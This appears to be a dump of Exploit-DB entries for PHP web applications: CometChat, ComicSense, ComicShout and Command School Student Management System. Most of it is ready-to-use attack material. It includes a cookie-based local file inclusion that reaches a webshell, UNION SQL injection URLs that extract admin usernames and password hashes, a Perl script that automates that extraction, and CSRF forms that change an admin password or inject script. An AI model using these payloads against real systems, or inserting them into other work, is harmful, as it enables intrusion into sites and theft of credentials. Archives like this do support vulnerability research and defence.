deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43027
Description: CometChat < 6.2.0 BETA 1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2017-10-22
Author: Paradoxis

Exploit:
# Exploit Title: CometChat < v6.2.0 BETA 1 - Local File Inclusion
# Date: 2017-10-22
# Exploit Author: Luke Paris (Paradoxis) <luke@paradoxis.nl>
# Vendor Homepage: https://cometchat.com/
# Version: < 6.2.0 BETA 1
# Tested on: Ubuntu Linux 14.04
#
# --------------------------------------------------------------------------------------
#
# In versions of CometChat before version v6.2.0 BETA 1 a bug existed which allowed
# any unauthorised attacker to modify the include path of a php file by sending an
# HTTP request with a crafted 'cc_lang' cookie.
#
# If successfully exploited an attacker could leverage this bug to execute arbitrary PHP
# code which resides somewhere else on the server (eg: uploaded via an upload form).
#
# Due to the fact that this bug resides in the configuration file of the applications
# it might be possible that future versions of the chat application still contain the
# file inclusion bug as the script might have been re-applied after an update.
#
# --------------------------------------------------------------------------------------
#
# The vulnerability resides in the application's configuration file, near the beginning 
# of the script the following code block is executed, this is where an attacker is able 
# to inject a string into the cc_lang cookie.

/* COOKIE */
$cookiePrefix = 'cc_';

/* LANGUAGE START */
$lang = 'en';

/* LANGUAGE END */ 
if (!empty($_COOKIE[$cookiePrefix."lang"])) {
    $lang = $_COOKIE[$cookiePrefix."lang"];
}

# Near the end of the configuration file, the following code block is executed.
# This is where the exploit is triggered by not sanitising the $lang variable properly.

include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.'en.php';
if (file_exists(dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php')) {
    include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php';          
}

# The following example demonstrates how an attacker could leverage this bug to gain control 
# over the server, which could result in a full server compromise (assuming the attacker has
# already managed to write a webshell to the servers' disk somehow): 

GET /cometchat/config.php?cmd=id HTTP/1.1
Host: example.com
Connection: keep-alive
Cookie: cc_lang=../../uploads/evil

HTTP/1.1 200 OK
Host: example.com
Connection: close
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exploit-DB #4035
Description: Comicsense 0.2 - 'index.php?epi' SQL Injection (1)
Type: webapps
Platform: php
Date: 2007-06-05
Author: s0cratex

Exploit:
*********************************************
  Comicsense SQL Injection Advisory/Exploit
*********************************************

by s0cratex
s0cratex@hotmail.com
http://plexinium.net

-
ComicSense is a script using php / mySQL.
It allows you to easily host an Online Comic
or Image shack.
You can download it from www.gayadesign.nl/comicsense/
-

The bug is a common sql injection in "index.php"

Line 32:
$sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi";
And the variable $epi is not verified...

Exploit:
--------
Admin username
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users

MD5 hash password:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users

e-Mail adress:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT email,1,1 from users

# milw0rm.com [2007-06-05]
Exploit-DB #4037
Description: Comicsense 0.2 - 'index.php?epi' SQL Injection (2)
Type: webapps
Platform: php
Date: 2007-06-06
Author: Silentz

Exploit:
#!/usr/bin/perl -w

#################################################################################
#										#
#		  	ComicSense 0.2 SQL Injection Exploit   			#
#										#
# Discovered by: s0cratex							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
#										#
# Original Advisory: http://seclists.org/bugtraq/2007/Jun/0063.html		#
#		     http://milw0rm.com/exploits/4035				#
# 										#
# Vulnerable Code (index.php): 							#
#										#
#      $sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi"; #
#										#
# PoC: http://victim.com/index.php?epi=-999 UNION SELECT username,0,password 	#
#      FROM users LIMIT 1							#
# 										#
# Subject To: Nothing								#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community & s0cratex				#
#										#
#################################################################################

use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "               	 ComicSense 0.2 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_comicsense.pl [PATH]\r\n\r\n";
print "[PATH] = Path where ComicSense is located\r\n\r\n";
print "e.g. w4ck1ng_comicsense.pl http://victim.com/comic/\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "index.php?epi=-999 UNION SELECT username,0,password FROM users LIMIT 1";

$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /.jpg" alt="#(.*?):/;

  ($user) = $res->content =~ /.jpg" alt="#(.*?):/;
  ($hash) = $res->content =~ /: ([0-9a-fA-F]{32})" \/>/;

if($user && $hash){

print "-------------------------------------------------------------------------\r\n";
print "               	 ComicSense 0.2 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "[+] Admin User : $user\n";
print "[+] Admin Hash : $hash\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
} else {
  print "\nExploit Failed...\n";
}

# milw0rm.com [2007-06-06]
Exploit-DB #5658
Description: ComicShout 2.5 - 'comic_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-20
Author: Niiub

Exploit:
##########################################################
#
#	ComicShout Remote 2.5 SQL Injection Vulnerability
#
#	by D3m0n a.k.a Niiub
#
#	Home: www.bl4ck-b0x-info
#
#	niiub[at]bl4ck-b0x.info
#
##########################################################


##########################################################

Exploit:

/index.php?comic_id=-1+UNION+SELECT+1,2,3,concat(site_admin,char(58),site_pass),5,6+FROM+setup/*


Admin PA:

admin.php

###########################################################

Greetz: dun - sid_psycho - Kacper

###########################################################

# milw0rm.com [2008-05-20]
Exploit-DB #5713
Description: ComicShout 2.8 - 'news_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-01
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+         ComicShout 2.8 (news.php news_id) Remote SQL Injection Vulnerability       +==--
--==+====================================================================================+==--
                         - dreaming of necessity is reason to comply -

[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.


[~] Software: ComicShout 2.8
[~] Exploit: Remote SQL Injection [High]
[~] Vuln file: news.php

[~] Dork: "Powered by ComicShout"

[+] Exploit:

[~] /news.php?news_id=[SQL]
[~] 4+union+all+select+0,1,site_admin,site_pass+from+setup/*

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-06-01]
Exploit-DB #38958
Description: Command School Student Management System - '/sw/add_topic.php' Cross-Site Request Forgery (Topic Creation)
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
              
Command School Student Management System is prone to the following security vulnerabilities:
              
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
              
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
              
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

[CSRF with XSS Exploit]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://http://www.example.com/sw/add_topic.php">
<input type="hidden" name="topic"
value="<script>alert(document.cookie);</script>" />
<input type="hidden" name="detail" value="Iphobos Blog" />
<input type="hidden" name="Submit" value="Submit" />
</form>
</body>
</html>
Exploit-DB #38957
Description: Command School Student Management System - '/sw/Admin_change_Password.php' Cross-Site Request Forgery (Admin Password Manipulation)
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
             
Command School Student Management System is prone to the following security vulnerabilities:
             
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
             
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
             
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

[Change Password Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://www.example.com/sw/admin_change_password.php">
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="action" value="update" />
</form>
</body>
</html>
Exploit-DB #38950
Description: Command School Student Management System - '/sw/admin_generations.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
      
Command School Student Management System is prone to the following security vulnerabilities:
      
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
      
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
      
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_generations.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38944
Description: Command School Student Management System - '/sw/admin_grades.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info

Command School Student Management System is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability

Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.

Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_grades.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38949
Description: Command School Student Management System - '/sw/admin_infraction_codes.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
     
Command School Student Management System is prone to the following security vulnerabilities:
     
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
     
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
     
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_infraction_codes.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38948
Description: Command School Student Management System - '/sw/admin_media_codes_1.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
    
Command School Student Management System is prone to the following security vulnerabilities:
    
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
    
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
    
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_media_codes_1.php?action=edit&id=null+and+1=2+union+select+version(),2,3
Exploit-DB #38951
Description: Command School Student Management System - '/sw/admin_relations.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
       
Command School Student Management System is prone to the following security vulnerabilities:
       
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
       
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
       
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_relations.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38954
Description: Command School Student Management System - '/sw/admin_school_names.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
          
Command School Student Management System is prone to the following security vulnerabilities:
          
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
          
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
          
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_school_names.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38946
Description: Command School Student Management System - '/sw/admin_school_years.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
  
Command School Student Management System is prone to the following security vulnerabilities:
  
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
  
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
  
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_school_years.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38947
Description: Command School Student Management System - '/sw/admin_sgrades.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
   
Command School Student Management System is prone to the following security vulnerabilities:
   
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
   
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
   
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_sgrades.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38955
Description: Command School Student Management System - '/sw/admin_subjects.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
           
Command School Student Management System is prone to the following security vulnerabilities:
           
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
           
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
           
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_subjects.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38945
Description: Command School Student Management System - '/sw/admin_terms.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
 
Command School Student Management System is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
 
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
 
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_terms.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #38952
Description: Command School Student Management System - '/sw/admin_titles.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
        
Command School Student Management System is prone to the following security vulnerabilities:
        
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
        
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
        
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_titles.php?action=edit&id=null+and+1=2+union+select+version()